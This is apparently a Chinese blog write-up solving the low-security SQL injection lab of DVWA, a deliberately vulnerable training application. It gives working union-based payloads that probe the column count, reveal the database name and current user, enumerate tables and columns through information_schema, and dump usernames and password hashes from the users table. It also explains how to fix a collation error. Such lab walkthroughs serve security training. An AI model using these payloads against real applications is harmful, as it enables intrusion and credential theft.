[网络安全]DVWA之SQL注入—low level解题详析

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
DVWA请读者自行安装,本文不再赘述。

判断漏洞类型

  • 判断是否为数字型注入

若为数字型注入,则第二个语句应回显Error或没有回显。

  • 判断是否为字符型注入

第二个语句没有回显,所以该漏洞类型为字符型注入漏洞。

判断注入点个数

输入1' order by 4#时,回显Unknown column '4' in 'order clause'

说明猜测的注入点个数过大

输入1' order by 2#时,回显如下:
说明注入点个数为2或3

输入1' order by 3#时,回显Unknown column '3' in 'order clause'

所以注入点个数为两个

爆库名

输入1' union select 1,database()#

回显一个数据库名

图片中第一段为第一个注入点的信息,第二段为第二个注入点(即database)的信息。

爆当前用户名

输入1' union select 1,user()#

由于注入点有两个,所以我们可以通过一个sql语句既查询数据库名又查询当前用户名

输入1' union select user(),database()#

注意,如果使用1' union select user()#的话,会回显The used SELECT statements have a different number of columns(所使用的 SELECT 语句具有不同数量的列),因为该语句的注入点只有一个。

爆表名

输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显guestbook和users两个表名
也可采用如下语句
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
其中,group_concat的作用是将多个值连接成一个字符串,并用逗号连接。

爆列名

输入1' union select 1, column_name from information_schema.columns where table_name='users'#
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
相比之下,在查询结果过多的情况下,建议使用group_concat将查询结果集合起来

爆字段

输入1' union select user,password from users#

报错分析及解决方法

若SQL联合注入过程中出现该报错:illegal mix of collations for operation UNION
原因如下:information_schema里的table的排序规则是utf8_general_ci,而user表中字段默认为utf8_unicode_ci,导致字符排序不匹配。
解决方法:

  1. 在phpstudy中打开phpMyAdmin
  1. 进入dvwa数据库中的user表,将各列排序规则修改为utf8_gengeral_ci,保存即可。
相关推荐
随逸1778 小时前
《从零搭建NestJS项目》
数据库·typescript
一次旅行1 天前
网络安全总结
安全·web安全
加号31 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏1 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐1 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再1 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest1 天前
数据库SQL学习
数据库·sql
jnrjian1 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle
十月南城1 天前
数据湖技术对比——Iceberg、Hudi、Delta的表格格式与维护策略
大数据·数据库·数据仓库·hive·hadoop·spark
Henry Zhu1231 天前
数据库:并发控制基本概念
服务器·数据库